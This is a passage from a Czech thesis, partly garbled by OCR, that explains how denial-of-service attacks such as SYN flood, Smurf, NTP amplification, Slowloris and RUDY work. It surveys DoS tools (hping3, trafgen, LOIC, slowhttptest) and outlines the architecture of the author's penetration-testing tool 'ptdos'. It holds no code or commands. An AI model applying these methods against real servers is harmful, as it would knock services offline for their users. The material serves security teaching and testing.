shake je cyklicky odesilan pozadavek opétovného sjednani sifrovaciho klice mezi za-
fizenimi. Utok mize byt tak zni¢ujici, Ze jediny stroj ttoénika je schopen zneskodnit
napadené zatizeni. Diuvodem je velka vypocetni narocnost opétovného sjednani Sif-

rovaciho klice na strané napadeného zafizeni.

8Telnet je protokol, standardné pracujici na portu 23, jenz umoziuje uzivateli pfipojeni ke vzda-

lenému pocitaci pomoci textového uzivatelského rozhrani.
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Aplikacni vrstva

Utoky na aplika¢ni vrstvé jsou nejvice rozmanité ze vsech vrstev.[23] Vétsina pro-
tokold na této vrstvé pracuje v rezimu klient—server, viz definice pojmu v kap. [I.1]
Klienti mohou byt klasifikovani jako legitimni nebo nelegitimni (ito¢nici). Legitimni
klienti jsou bézni uzivatelé bez postrannich imysli, nelegitimni klienti v pozadi skry-
vaji skodlivou logiku s cilem poskodit funkénost serveru. Pri napadeni serveru DoS
utokem na aplikac¢ni vrstvé byva casto velmi komplikované poznat rozdil mezi legi-
timnim a nelegitimnim klientem z divoda jako jsou:[17]

« vysoka nejasnost - utocénik vyuziva standardni UDP nebo TCP spojeni,
takze je tézké ho oddélit od legitimnich uzivatela,

o vysoka efektivita - DoS utoky na aplikacni vrstvé vytvari méné spojeni,
takze utocnik na sebe nepoutd zvysenou pozornost,

o vicenasobny efekt - jednim ttokem miize byt ovlivnéno velké mnozstvi obéti,
napt. ttoky na DNS jednoho poskytovatele ovlivni vSechny jeho uzivatele,

» respektovani pravidel datového provozu - ttoky se tidi pravidly bézného
datového provozu, v pripadé TCP dokonc¢uji handshake proces, tudiz ptsobi
jako legitimni datovy provoz,

» zasazeni riznych aplikaci - na aplikac¢ni vrstvé mize byt zneuzita Siroka
paleta protokoli (HTTP, Telnet, FTP, SMTP, SNMP, DNS, a dalsi), proto
mohou ttoky cilit na rizné typy aplikaci,

o jednoduchost pri zneuziti - DoS ttoky zneuzivaji jednoduchosti aplikacni
vrstvy, webovy server se muze zhroutit i diky béznému obnoveni stranky
ve webovém prohlizeci, pokud jej simultdnné provede velké mnozstvi uziva-
telq,

« nizké pozadavky na strojové vybaveni - ito¢nik muze dosahnout tspés-

ného DoS utoku i s relativné nizkou investici do svého strojového vybaveni.

1.7 Popis vybranych atoki

1.7.1 SYN flood

SYN flood je zaplavovy ttok pracujici na transportni vrstvé ISO modelu, kde zneu-
ziva zranitelnosti TCP protokolu. TCP je transportni spojovy protokol, ktery mezi
zalizenimi vytvari spojeni, jenz umoznuje obousmérny prenos dat. Diky vytvore-
nému spojeni protokol garantuje spolehlivy prenos dat a doruceni dat ve spravném
poradi. Navazani spojeni probiha ve trech krocich, které jsou nazyvany jako three-
way handshakd’] Priibéh navézani spojeni, viz obr. [1.4] probih4 nasledovné:

9Spojeni three-way handshake nem4, ¢esky ekvivalent, v doslovném piekladu se jednd o tif-cestné

potreseni rukou.
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o klient zahajuje komunikaci se serverem zadosti o vytvoreni spojeni odeslanim
segmentu s priznakem SYN,

o server odpovida segmentem s priznakem SYN+ACK, ¢imz potvrzuje zadost
o spojeni klienta a zada o vytvoreni spojeni z jeho sméru,

o klient odpovida segmentem ACK, ¢imz je obousmeérné spojeni dokonceno,

o dale jiz probihd mezi zarizenimi vyména dat.

server

klient

zadost o spojeni

potvrzeni,
zadost o spojeni

potvrzeni

obousmérna komunikace
\ 4 \ 4
¢as ¢as

Obr. 1.4: Navazani spojeni protokolu TCP.

Princip tutoku SYN flood spociva ve zneuziti navazani spojeni protokolu TCP.
Utocnik cilené odesil4 na server, v tomto pripadé cil dtoku, velké mnozstvi segmenti
se zadosti o navazani spojeni (SYN) s podvrzenou IP adresou odesilatele. Server
potvrzuje vytvoreni spojeni, odesila zadost o spojeni (SYN-+ACK) zpét klientovi
(itoénikovi) a vyhrazuje systémové prostiedky pro komunikaci. Zadost o spojeni
neni utocénikem nikdy potvrzena, protoze ji server zasila na podvrzenou IP adresu.
Priabéh dtoku je znazornén na obrazku Timto zptsobem se pribéh ttoku neu-
stale opakuje dokud nenastane zahlceni systémovych prostredkii serveru. Server jiz

nadale nebude schopen vytvaret nova spojeni a dojde k odepreni sluzby.

1.7.2 UDP flood

Jak z ndzvu vyplyva, UDP flood zneuziva vlastnosti transportniho protokolu UDP,
jenz je oznacovan jako nespojovy a nespolehlivy. Diky tomu, Zze je UDP nespojovy
protokol, tak komunikujici zafizeni mezi sebou nevytvari spojeni jako v pripadé
TCP. Klientské zatizeni, které ma zajem o zahajeni komunikace se serverem, ihned
v prvnim vyslaném segmentu uvadi pozadavek na ziskani dat od serveru. Tento

pozadavek obsahuje kromé jinych cilovy port a zdrojovou IP adresu odesilatele.

28



Cil utoku
Gtoénik

podvrzeny SYN paket

\ 4

podvrzeny SYN paket

\ 4

o

Pripojeni vy¢erpana

Obr. 1.5: Priubéh zaplavového ttoku SYN flood.

Po obdrzeni pozadavku od klienta server nejprve zkontroluje, zda je na dotazo-
vaném portu poskytovana néjaka sluzba. Pokud ano, server odpovida segmentem
s pozadovanymi daty. Pribéh takovéto komunikace je znazornén na obr. V pii-
padé, Ze server na dotazovaném portu neposkytuje zadnou UDP sluzbu, zasle server
zpét klientskému zarizeni ICMP (Internet Control Message Protocol) zpravu ,,desti-
nation unreachable“ (destinace nedostupnd), jenz klienta informuje o nedostupnosti

pozadované sluzby.

server

klient

="\

zadost o spojeni REQUEST DATA
SEND DATA odeslani dat
SEND DATA odeslani dat
SEND DATA odeslani dat

Y v

cas gas

Obr. 1.6: Pritbéh komunikace protokolu UDP.

P1i itoku UDP flood je na ndhodné vybrany port cilového systému zaslano velké
mnozstvi UDP segmentit s podvrzenou zdrojovou IP adresou. Zdrojova IP adresa
je podvrzena utoc¢nikem z divodu skryti své skuteéné polohy a zabranéni potenci-

alnimu zahlceni ICMP odpovédmi cilového serveru. Pokud na dotazovaném portu
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cilového systému neni poskytovana zadna sluzba, je cilovym systémem vygenero-
vana ICMP odpovéd ,,destination unreachable®, kterou zasle zpét na podvrzenou IP
adresu uto¢nika. S kazdym prijatym podvrzenym segmentem musi napadeny systém
provést vsechny zminéné operace, ¢imz jsou spotfebovavany jeho vypocetni a sitové
zdroje. Zpracovavani velkého poc¢tu podvrzenych segmentti miize nakonec zpusobit
zahlceni cilového systému a tim nastane odepfeni provozované sluzby. Prubéh UDP
flood utoku je zndzornén na obr. [I.7]

e Cil Gtoku
Gtoénik

podvrzeny UDP segment

\ 2 4

podvrzeny UDP segment

Cilovy systém
zahlcen

Obr. 1.7: Pribéh zaplavového ttoku UDP flood.

1.7.3 HTTP GET flood

Jedna se o zaplavovy ttok, ktery je zalozen na protokolu HTTP (Hypertext Transfer
Protocol), pfipadné na zabezpecené varianté HTTPS. HTTP pracuje na aplika¢ni
vrstvé referenéniho modelu, jako transportni protokol je vyuzivan spojovy a spo-
lehlivy protokol TCP. Pfi titoku jsou zneuzivany pozadavkové metody (request me-
thods), které HTTP obsahuje. Tento princip je stejny i pro ttoky HTTP POST
a HEAD flood. Praktickd ukazka komunikace v ramci HTTP flood utoku a vsech
jeho metod je na obr. [[.8 V rdmci HTTP GET flood ttoku je zneuzivina me-
toda GET, kterd slouzi k nacitani informaci z daného serveru,[24] tzn. na kazdy
pozadavek je oekdvana odpovéd cilového systému. Utocénik nejprve pomoci pro-
cesu three-way handshake sestavi spojeni s cilovym systémem a po sestaveni spo-
jeni zaplavi cilovy systém velkym mnozstvim platnych i neplatnych HTTP GET
pozadavki[25] se zdminkou ziskat od serveru néjaka data, napt. nacist domovskou
stranku nebo stdhnout obrazek ¢ dokument. Uto¢nik se timto zptisobem snazi vy-
cerpat vypocetni a sifové prostfedky napadeného systému, ¢imz dojde k odepteni

sluzby pro ostatni uzivatele. Protoze tento utok vyuziva bézné dostupné metody
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Obr. 1.8: Zaplavovy ttok vyuzivajici HT'TP a metody GET, HEAD nebo POST.

pro stazeni dat ze serveru, je velmi obtizné pro obranné mechanismy napadeného

serveru spravneé detekovat legitimni uzivatele od skodlivych.

1.7.4 HTTP POST flood

V pripadé HTTP POST flood utoku je zneuzivana metoda HTTP POST. Metoda
POST vyzaduje, aby cilovy systém prijal data obsazena v téle pozadavku a ty dale
zpracoval.[26] Zpracovani muze predstavovat ulozeni prijatych dat napt. pii nahra-
vani souboriti na webovy server anebo vyplnéni webového formulate dostupného
na webové strance. Typicky zpracovani POST pozadavku na strané cilového sys-
tému znamena ulozeni prijatych dat do tzv. perzistentni vrstvy, nejcastéji databaze.
Tim jsou spustény nezbytné databazové ptikazy, coz miize byt relativné intenzivni
¢innosti ve srovnani s vypocetnim vykonem a sitkou pasma nutnymi k odeslani
POST pozadavku. V momenté, kdy je cilovy systém zahlcen vysokym mnozstvim
POST pozadavk, které musi zpracovat, dojde k vycerpani jeho vypocetni kapacity,
server jiz neni schopen dédle odbavovat pribyvajici pozadavky, ¢imz dojde k odmitnuti

sluzby a stavé se tak nedostupnym i pro legitimni uzivatele.[27]

1.7.5 HTTP HEAD flood

Metoda HEAD je velmi podobnd metodé GET, tzn. stejné jako u GET je po zaslani
HEAD pozadavku ocekavana odpovéd od cilového systému. Zasadnim rozdilem vsak
je, ze v odpovédi nesmi byt pritomno télo zpravy, odpovéd tak konci zahlavim (head).
V bézné komunikaci se HEAD metody vyuzivaji k ziskani metadat, napt. v pripadé
ovéfeni platnosti anebo dostupnosti hypertextovych odkazu.[26] V ramci DoS ttoku
je pak princip stejny jako u HI'TP GET flood utoku. Cilovy systém je zahlcen HEAD
pozadavky, které musi odbavovat, jakmile jsou vycerpany jeho sitové i vypocetni

prostredky, dojde k odepteni sluzby.[2§)]
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1.7.6 I1CMP flood

Zaplavovy utok ICMP flood mtze byt také nazyvan jako ping flood, protoze vyuziva
pozadavky typu ICMP echo, jenz jsou rovnéz vyuzivany funkci ping. V ramci tohoto
utoku je cilovy systém zahlcen obrovskym mnozstvim ICMP echo pozadavki, které
zpusobi vycCerpani vSech volnych prostredki cilového systému. ICMP flood byva
vyuzivan i pri distribuovanych DoS ttocich.[29] Protokol ICMP je sluzebni proto-
kol, ktery neprenasi zadna uzivatelskd data a pracuje v rezimu klient—server. ICMP
protokol primarné slouzi k signalizaci mimoradnych udalosti, jenz nastanou v siti.
Obsah protokolu je prendsen v IP datagramech. ICMP datagramy jsou generovany
pri zahozeni datagramu, kdy se protokol IP nesnazi o napravu, ale pouze informuje
odesilatele, ze byl datagram zahozen.[30] Tohoto chovani zneuzivd naptiklad ttok
UDP flood, ktery je popsén v kapitole[1.7.2] Kazdy, itocnikem odeslany, ICMP echo
pozadavek spottebuje cilovému systému urcité mnozstvi jeho volnych prostredki
pro zpracovani zpravy a pro odeslani ICMP echo odpovédi. Princip je obdobny jako
u ostatnich zaplavovych ttoki. Utoénik generuje obrovské mnozstvi pozadavki, kte-
rymi se snazi zahltit cilovy systém. Aby se uto¢nik zamaskoval a vyhnul se zahlceni
sebe sama pod naporem ICMP echo odpovédi od cilového systému, tak ¢asto podvr-
huje svou zdrojovou IP adresu. Proto jsou odesilané ICMP echo pozadavky oznaceny
jako podvrzené.[29]

. . Cil Utoku
utoénik podvrzeny ICMP ECHO pozadavek

\4

podvrzeny ICMP ECHO pozadavek
podvrzeny ICMP ECHO pozadavek

Y VY

[\

)

Cilovy systém
zahlcen

=N

obét

Obr. 1.9: Pribéh zaplavového ttoku ICMP flood.

ICMP flood se skladé ze 2 kroki, které se neustéle opakuji. Uto¢nik odesild velké
mnozstvi ICMP echo dotazli na cilovy systém a cilovy systém na kazdy pozadavek
odpovida ICMP echo odpovédi. Pribéh je znazornén na obrazku kde je taktéz
ukazano podvrzeni zdrojové IP adresy a nasledné nedoruceni echo odpovédi. Stan-
dardn{ komunikace ICMP protokolu je uvedena na obr. [I.10] kde klient odesild echo
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pozadavek na server, do zpravy uvadi typ, vlastni zdrojovou IP a cilovou IP adresu
cilového serveru. Server pozadavek prijima a odpovida echo odpovédi, se svou IP

adresou jako zdrojem a klientovou IP jako cilovou destinaci.

ICMP ECHO pozadavek

Klient Na: 192.168.1.20 _ server
'en 0d: 192.168.1.10 -
ICMP ECHO odpovéd’
[—=\
192168110 < Na: 192.168.1.10
Od: 192.168.1.20 162.168.1.20

Obr. 1.10: Standardni komunikace protokolu ICMP.

Skodici efekt tohoto titoku je piimo Gimérny poétu pozadavki odeslanych na ci-
lovy server. Na rozdil od zesilujicich utokt je provoz ICMP flood ttoku symetricky.
Mnozstvi prostredki spotfebovanych cilovym systémem se rovna prostredkim vy-
nalozenych tuto¢nikem. V pripadé, Ze je utok pouzit jako distribuovany s vyuzitim
botnetu, tak se spotfebované prostredky rovnaji souctu prostredkii vynalozenych
vsech utocicich boti.[29)]

1.7.7 Smurf

Utok Smurf miZe byt v ¢eském prekladu nazyvan také jako ,$mouli atok* [31] Utok
patii do skupin zaplavovych i logickych zesilujicich itokt. Pracuje na sitové vrstve
referenéniho modelu a pro svou funkci vyuziva sluzebni protokol ICMP, ktery je jiz
popsén v kapitole [I.7.6] Pfi Smurf ttoku je odesldno velké mnozstvi ICMP echo
pozadavkil s podvrzenou zdrojovou IP adresou, které jsou mifeny na vSesmérovou
(broadcast) adresu prostiednické sité, kterd je vyuzivana pro znasobeni sily ttoku,
viz obr. [[.11} Kazda stanice v této prost¥ednické siti obdrzi podvrzeny ICMP echo
pozadavek a odesila ICMP echo odpovéd na podvrzenou zdrojovou IP adresu pri-
jatého ICMP echo pozadavku, ktera ve skuteCnosti patii systému, jenz je cilem
ttoku. [25] Utoénik tedy zesiluje titok touto zneuzitou prostiednickou siti. Zesilujici
faktor je roven poctu aktivnich stanic nachazejicich se v této siti avsak do maximéalni
hodnoty 255.[25] Vysledkem utoku je zahlceni cilového systému velkym mnozstvi
ICMP echo odpovédi, coz zapri¢ini odepreni poskytované sluzby pro ostatni zari-

zeni.
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obét

Obr. 1.11: Pribéh zesilujicitho utoku Smurf.

1.7.8 Ping of death

Ping of death neboli ,ping smrti“ patii do skupiny logickych ttoku, ktery taktéz
vyuziva protokol ICMP, jenz byl popsan v predchozich kapitolach. V IP sitich je sta-
novena maximalni velikost paketu na 65535 bajtli. Této skutec¢nosti je pri utoku Ping
of death vyuzivano a na cilovy systém jsou odesilany nestandardni pakety, které ma-
ximélni velikost paketu nerespektuji.[25] Struktura nestandardniho Ping of death
paketu je znédzornéna na obr. [I.12 IP hlavicka m4 velikost 20 bajti, ICMP hlavicka
8 bajti, takze datova ¢ast ICMP protokolu musi mit velikost vétsi nez 65508 bajti.
Tim je zajisténo, ze paket presahne svou maximalni povolenou velikost. Na strané
cilového systému pti prijeti takového paketu muze dojit k havarii, zablokovani anebo
dokonce restartovani celého systému[25] a tim muze vzniknout nedostupnost posky-
tované sluzby. Na obr. je vidét pribéh utoku, fragmentovani paketu a jeho

slozeni cilovym systémem.

1.7.9 Zesilovaci utok NTP

Ucelem protokolu NTP (Network Time Protocol) je synchronizace systémovych ho-
din mezi klienty, napr. uzivatelské pocitace, a ¢asovymi servery, jenz udrzuji hodnotu
presného casu. Komunikace mtize probihat v privatnich sitich anebo ve verejné siti

internet. N'TP servery ve verejné siti jsou volné pristupné pro synchronizaci s kli-
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Obr. 1.12: Pribeéh logického utoku Ping of death.

entskymi zatrizenim.[32] Diky své vefejnosti jsou potencidlnim ter¢em pro zneuziti.
V ramci tohoto typu tutoku se zneuziva primo protokolu NTP, kdy NTP umoznuje
klientiim zaslat serveru pozadavky, kterymi se snazi posoudit kvalitu NTP serveru
a zda mohou duveérovat jeho datiim o aktualnim case. Jednim z téchto pozadavkl
je monlist (MON_GETLIST). Jakmile NTP server pfijme pozadavek monlist, vréati
uzivateli seznam nejnoveéjsich udélosti, které se serverem interagovaly. Diky tomu
je na pozadavek monlist, o velikosti priblizné 250 bajtii, odeslana odpovéd o velikosti
nékolik kilobajt. V nékterych pripadech muze byt odpovéd NTP serveru i dvéste-
krat vétsi nez zaslany pozadavek monlist.[33] Rozdil mezi zaslanym pozadavkem
a odpovedi NTP serveru udava velikost zesileni atoku. Pri DoS tutoku utoc¢nik zasilé
na NTP server monlist dotazy s podvrzenou zdrojovou IP adresou, kterd smétuje
na cilovy systémm. NTP server odesila odpovéd na monlist dotaz cilovému systému,
coz pri dostatecné velkém mnozstvi pozadavki znamena zahlceni cilového systému

a odepfeni sluzby, viz princip utoku na obr. [I.13]

1.7.10 Slowloris

Slowloris je pomaly logicky ttok aplikac¢ni vrstvy, kde vyuziva diléi pozadavky pro-
tokolu HTTP. Slowloris postupné otevira nova pripojeni s cilovym systémem a snazi
se tato vytvorend spojeni udrzet oteviend tak dlouho, jak je to jen mozné.[34] Utok
je navrzen tak, aby i jedno zarizeni ito¢nika bylo schopno vycerpat vsechny volné
prostredky cilového systému bez nutnosti pouzit velkou sitku pasma. Na rozdil od za-
plavovych ttokt, které jsou velmi narocné na sitrku pasma ttoc¢nika, se Slowloris

snazi vycerpat volné prostiredky cilového systému pomoci pozadavki, které se tvari

10Pokud by nebyla podvrzena zdrojova IP adresa, tak by se odpovéd NTP serveru vrétila zpét

utoénikovi a provoz by nebyl presmérovan na cilovy systém.
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Obr. 1.13: Pribéh zesilovaciho ttoku NTP.

jako pomalejsi nez normalni pozadavky, ale jinak zapadaji do normalniho provozu.
Proto tento utok patii do skupiny pomalych utoka. Jakmile bude prekrocen ma-
ximalni mozny pocet pripojeni serveru, kazdé dalsi pripojeni bude nezodpovézeno
a dojde k odmitnuti sluzby.[34] Prubéh ttoku je nésledovny. Utoénik nejprve otevie
vicero pripojeni k cilovému systému odeslanim nékolika dil¢ich zahlavi HT'TP GET
pozadavku. Cilovy systém nasledné otevie nové vlakno pro kazdy prichozi pozada-
vek (vyhradi své volné prostiedky) s umyslem zaviit vldkno, jakmile je pripojeni
dokonceno. V pripadé, ze pripojeni trva prilis dlouho a dojde k prekroceni maxi-
malni povolené doby pripojeni (timeout), cilovy systém pripojeni ukonéi a uvolni
vldkno pro dalsi pozadavky.[34] Aby Slowloris zabranil vyprseni ¢asového limitu
pripojeni, tak jsou pravidelné zasilany casti hlavicek HTTP pozadavkt na cilovy
systém, aby bylo pripojeni udrzeno stale oteviené. Tato c¢ast by se dala popsat

slovy:
»Jsem stéle tady! Jsem jen pomaly, prosim, pockejte na mé.[34]“

Diky tomu neni cilovy systém schopen uvolnit zadné z otevienych spojeni, pro-
toze stale cekd na ukonceni pozadavku. Ukézka, jak by méla vypadat regulérni
komunikace protokolu HTTP mezi klientem a serverem je znézornéna na obr. [1.14]
Jakmile budou pouzivana vsechna dostupnd vlakna, dojde k vyéerpani volnych pro-
stredkt cilového systému a ten jiz nebude schopen reagovat na dalsi pozadavky
z bézného provozu, ¢imz bude zptsobeno odepieni sluzby.[34] Prubéh tdtoku Slowlo-
ris je graficky zndzornén na obr. [I.15]

1.7.11 RUDY

RUDY je zkratkou pro spojeni ,,Are you dead yet?“, coz v prekladu znamena ,,Jsi uz

mrtvy?“. Cilem ttoku je udrzovat s cilovym systémem oteviena spojeni, co nejdelsi
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Obr. 1.14: Prtbéh standardni komunikace protokolu HTTP.
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Obr. 1.15: Pribéh pomalého tutoku Slowloris.

moznou dobu, za pomoci velmi pomalého odesilani dat. Z toho divodu je RUDY
zatazen do kategorie pomalych a logickych DoS ttoku.[35] V rameci utoku mohou
byt zneuzivany webové formulare pritomné na cilovém systému. Do webového for-
mulafe jsou odeslany data za pomoci legitimnitho HTTP POST pozadavku, ktery
mé upravenou délku hlavicky obsahu (content-length header), tak aby cilovy server
ocekaval prijeti velkého mnozstvi dat. Utocnik poté v intervalech odesfld ocekévand
data po jednotlivych znacich (bajtech), ¢imz udrzuje spojeni oteviené, protoze ci-
lovy systém c¢eka, az budou dorucena vsechna data, viz obr. Jakmile dojde
k otevreni velkého mnozstvi spojeni, nastane odepreni sluzby, protoze cilovy systém

nebude schopen obsluhovat dalsi pozadavky. [36]

1.8 Analyza existujicich nastroji pro realizaci atok

Kromé vyvijené aplikace ptdos jsou k dispozici jiz existujici aplikace a nastroje,
které je mozné vyuzit pro realizaci DoS tutokii. Protoze ptdos je volné dostupné
dostupna aplikace urc¢end prevazné pro systémy Linux, tak jsou pri analyze hledany
praveé ty nastroje, které jsou rovnéz volné dostupné a vyuzivaji OS Linux. Celkem
jsou vybrany 4 existujici nastroje, které se mohou pouzit pro generovani DoS utoki.

Vybrané néstroje jsou nejprve samostatné popsany a poté jsou v ramci tabulky
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Obr. 1.16: Pribéh logického utoku RUDY.

srovnany s vyvijenou aplikaci ptdos, dle vybranych kritérii. Cilem analyzy je zjistit,
zda existuje na trhu nastroj, funkcionalitou shodny s ptdosem, pripadné zda je mozné
néktery z nastroji do ptdosu integrovat jako generator DoS utokt. Pti analyze exis-
tujicich nastroj bylo zjisténo, ze zadny z vybranych nastroji nenabizi monitorovaci
sluzbu cilového systému a vystup dat ve strojové ¢itelném formatu JSON, coz jsou
unikatni funkce pro ptdos. Pti realizaci riznych typt utokt zalezi vzdy na zameé-
feni konkrétniho nastroje, zda se specializuje na tutoky zaplavové anebo logické.
Nejvice utoki, shodnych s ptdosem, obsahuje nastroj trafgen, kde je ovSem nutné
tyto utoky zvlast doprogramovat. Naopak néstroj hping3 je ptimo schopen generovat
rizné typy ttokl s vyuzitim protokolit TCP a UDP. Této skutec¢nosti bylo vyuzito
pri implementaci ttoku SYN flood, kde je hping3 integrovan do ptdosu a vyuziva

se pro generovani TCP SYN segmentt, coZ je popsano v kapitole 2.7.1]

Hping3

Hpingﬂ je velmi oblibeny komplexni néstroj podporujici rizné typy protokoli jako
jsou TCP, UDP a ICMP. Rozhrani je vytvoreno pro ovladani v terminalu. Nastroj
je schopen realizovat utoky jako jsou ICMP flood, Ping of death, SYN flood, RST/-
FIN flood, Smurf, ACK flood a dalsi.

Netsniff-ng (trafgen)
Nastroj trafgenE je soucasti aplikace netsniff-ng. Jedna se o velmi rychly generator
datového provozu, ktery je urcen pro ladéni siti, hodnoceni vykonnosti a testovani

aplikaci. Diky vysoké rychlosti je vhodny pro realizaci zaplavovych ttokt. Velkou

Uhttps://www.kali.org/tools/hping3/
2https://man7.org/linux/man-pages/man8/trafgen.8.html
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vyhodou je jeho univerzalnost, protoze testy provadéné trafgen je nutné naprogra-

movat v jazyce C. Nevyhodou je nizkd zpétna vazba o provadéném testu (itoku).

Low Orbit lon Cannon
LOIqT_g] je nastroj ze skupiny open source programi, napsany v programovacim
jazyce C# a urcen pro realizaci DoS utokt a testovani odolnosti webovych serveri.

Néstroj obsahuje grafické rozhrani a je schopen realizovat zaplavové ttoky s vyuzitim
protokoli TCP, UDP a HTTP.

Slowhttptest

Néstroj slowhttptesﬂiz] je vysoce konfigurovatelny néastroj zaméren na pomalé DoS
utoky na aplikacni vrstvé. Podporovanymi utoky jsou Slowloris, slow HTTP POST,
Slow Read attack a Apache Range Header attack. Kromé OS Linux podporuje také
OS X, Windows a nabizi také predpripraveny obraz pro Docker.

Tab. 1.3: Srovnani existujicich nastroji s vlastni aplikaci ptdos.
Funkcionalita ‘ ptdos ‘ hping3 ‘ trafgen ‘ LOIC ‘ Slowhttptest

Monitorovaci sluzba 4 X X X X
Meéreni doby odezvy
Vystup v JSON formatu
Vystup do konzole

Volba doby trvani
Uprava vlastnost{ dtoki
Utok UDP flood

Utok SYN flood

Utok ICMP flood

Utok HTTP GET flood
Utok HTTP POST flood
Utok HTTP HEAD flood
Utok Smurf

Utok Ping of death

Utok zesilovac{ NTP
Utok Slowloris

Utok RUDY

NSITNISININININININININININININIS
XX IX|N|N X[ XX X%XNNNSN XN XX
I X ([ XINININININSNINNININ NSNS %[ x
3% % %% XX N [X[NSNSN] XS] x|
N N S N AN R S R RS AN AN AN R R

3https://github.com/NewEraCracker/LOIC
Yhttps://www.kali.org/tools/slowhttptest/
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2 Vlastni navrh a implementace aplikace

Vlastni vyvijend aplikace je dostupnd pod nézvem ptdos. Hlavni funkei aplikace
je generovani vybranych typi DoS tutoki, coz se vyuziva pfi realizaci penetracnich
a zatézovych testi. Diky ptdosu by mél byt proces testovani efektivnéjsi a rych-
lejsi. Soucasti aplikace je i monitorovaci sluzba, ktera sleduje stav cilového systému
a vyhodnocuje uroven doby odezvy cilového systému v pribéhu DoS ttoku. Sou-
casti Teseni je pripojeni ptdosu na externi systém Penterep, jenz slouzi k realizaci

a komplexni spravé bezpecnostnich testi za pomoci webového rozhrani.

2.1 Lokalni vyvojové prostredi

Vyvoj aplikace probihal na pocitaci s opera¢nim systémem macOS, protoze je pro-
vozovani aplikace primarné cileno na operacni systém Linux, tak byly pro vyvoj
rovnéz vyuzivany linuxové distribuce Kalfl] ve verzi 2022.1 a Ubuntf| ve verzi 22.04.
Linuxové systémy byly virtualizovany pomoci nastroje VirtualBox. Hlavnim pro-
gramovacim jazykem byl zvolen Python ve verzi 3.1(1—5], pricemz jako IDE byl zvo-
len PyCharm od spolec¢nosti JetBrains, v open-source verzi Community. PyCharm
je primo zaméren na vyvojare pouzivajici programovaci jazyk Python. Zdrojovy kod
aplikace ptdos je pak ulozen v git repozitafi na platformé GitHubﬁ V ramci testo-
vani spravné funkcénosti jednotlivych DoS utokt, pti vyvoji aplikace, byl vytvoren
virtualizovany lokalni webovy server. Jako zdrojovy operacni systém byla zvolena
linuxova distribuce Debian ve verzi 11.1.@. Webovy server je vytvoren pomoci na-
stroje Apache, ktery byl zvolen kvuli své vysoké rozsirenosti na pozici webovych
serveri. Virtualizace byla zvolena z divodu snadné prenositelnosti celého TeSeni
a kvili potrebé omezit kapacitu sitové karty dle potieby, protoze pri DoS ttocich,
zejména zaplavovych, by bylo tézké dosdhnout k omezeni dostupnosti provozované
sluzby cilového systému s jednim utocicim strojem. Architektura lokalniho vyvojo-
vého a testovaciho prostiedi je zndzornéna v diagramu 2.1} Zde je vidét rozloZeni

vytvorenych virtualnich servert, jenz jsou nasazeny na zdrojovém pocitaci.

'Kali Ize stahnout z https://www.kali.org/get-kali/#kali-platforms.

2Ubuntu Ize stdhnout z https://ubuntu.com/download/desktop.

3Python lze stdhnout z https://www.python.org/downloads/.

4GitHub je cloudova sluzba, kterd umoznuje vyvojartim ukladat a spravovat jejich vytvofeny
kéd a rovnéz sledovat i kontrolovat zmény v jejich kédu.[37]

SLinuxovou distribuci Debian Ize stdhnout z https://www.debian.org/download.
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Obr. 2.1: Architektura lokdlntho vyvojového a testovaciho prostiedi.

2.2 Navrh architektury aplikace

Aplikace ptdos je rozdélena na 3 logické ¢asti — Fidici (ptdos), monitorovaci (check
service) a Cast utok (agent). Jedna se o logické rozdéleni, protoze vSechny tii

Césti jsou soucasti jedné aplikace. Architektura je znézornéna na obr.

API rozhrani
api
@\L\ aplikace ptdos
0
S .. D .
ptdos § uzivatel ptdos :
¥ . . . :
Chessesgtl’vice cilovy system O uzivatelské rozhrani j moduly (tokd agenta ‘
DoS (tok ; [ API vystup ]
i | l 1 Lo chesksenice |
: — check service
kontrola dostupnosti
Vhee——3 N e
(a) systémové architektura (b) aplikacni architektura

Obr. 2.2: Systémova a aplikacni architektura ptdos.

Ridici ¢ast, ptdos, obsahuje uzivatelské a API komunikaéni rozhrani, zpracovava
vstupni data, odesila prikaz pro spusténi vybraného DoS tutoku agentovi s definova-
nymi parametry a spousti monitorovaci sluzbu check service, kterd mé na starost
kontrolu dostupnosti cilového systému postrannim kanalem pti probihajicim ttoku.
Pokud je zvolena komunikace pomoci API rozhrani, tak vytvori ptdos JSON objekt,
ktery obsahuje informace o provedeném utoku. Tento objekt je doplnén také o infor-
mace od ¢asti check service a agenta. Po vyhodnoceni vsech ¢asti je JSON objekt
vracen na vystupu aplikace pro néasledné zpracovani externimi systémy. V pripadé,

ze neni zvolena komunikace pomoci API, tak jsou vystupni informace o provedeném
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utoku vytistény do textového terminalu. Kromé vystupnich informaci jsou do ter-
minalu vytistény také informace o pribéhu utoku.

Vstupnimi parametry aplikace ptdos, které jsou definovany ve spoustécim piikazu,
mohou byt napf. typ ttoku, doba trvani ttoku, IP/URL adresa a port cilového
systému. Kompletni seznam vSech vstupnich parametri, které mohou byt nadefino-
vany obsluhou, je uveden v kapitole 2.4 Mnozstvi a typ pozadovanych vstupnich
parametri se lisi v zavislosti na zvoleném tutoku.

Monitorovaci ¢ast, check service, slouzi k monitorovani aktualniho stavu cilo-
vého systému. Sluzba je volana z fidici ¢asti aplikace jesté pred spusténim vybraného
DoS utoku agentem. Kontrola stavu probiha v postrannim kanale, ktery se vyuziva
z divodu oddéleni kontrolnich dat od dat utoku. Tato kontrola je provadéna neu-
stalym odesilanim HTTP pozadavki typu GET, na cilovy systém, s velmi nizkou
¢etnosti jeden pozadavek za vtefinu po celou dobu trvani dtoku. V pripadé doby
trvani ttoku napt. 60 vtefin bude odeslano v idealnim stavu 60 kontrolnich poza-
davku. V pripadé, ze GET pozadavek vrati HTTP status ZO(ﬂ tak je cilovy systém
povazovan za dostupny. V pripadé jiné odpovédi je cilovy systém povazovan za ne-
dostupny. Data o dostupnosti cilového systému si check service uklada do paméti,
po ukonc¢eni monitorovani ulozena data vyhodnocuje. V ramci vyhodnoceni monito-
rovani jsou vystupem informace o celkovém mnozstvi odeslanych kontrolnich pakett
a kolik z nich bylo tspésnych ¢i netispésnych. V pripadé ispésnych odpovédi je navic
vyhodnocena minimalni, maximalni a primérna doba odezvy cilového systému.

Cést ttoki, oznacovand jako agent, ma na starost realizaci ttokt. Od Fidici
casti aplikace prijima spoustéci prikaz se vstupnimi parametry, kde je specifikovan
zvoleny typ utoku a jeho vlastnosti. Jako agent jsou mysleny jednotlivé DoS tutoky,
které jsou implementovany. Kazdy implementovany tutok je agentem.

Pti spusténi utoku agent nejprve zkontroluje, zda spoustéci prikaz obsahuje vsechna
data, ktera jsou pro spusténi utoku nutni. Pokud kontrola dopadne v poradku,
agent zahdji zvoleny utok na cilovy systém. Utok probihd po dobu, ktera je specifi-
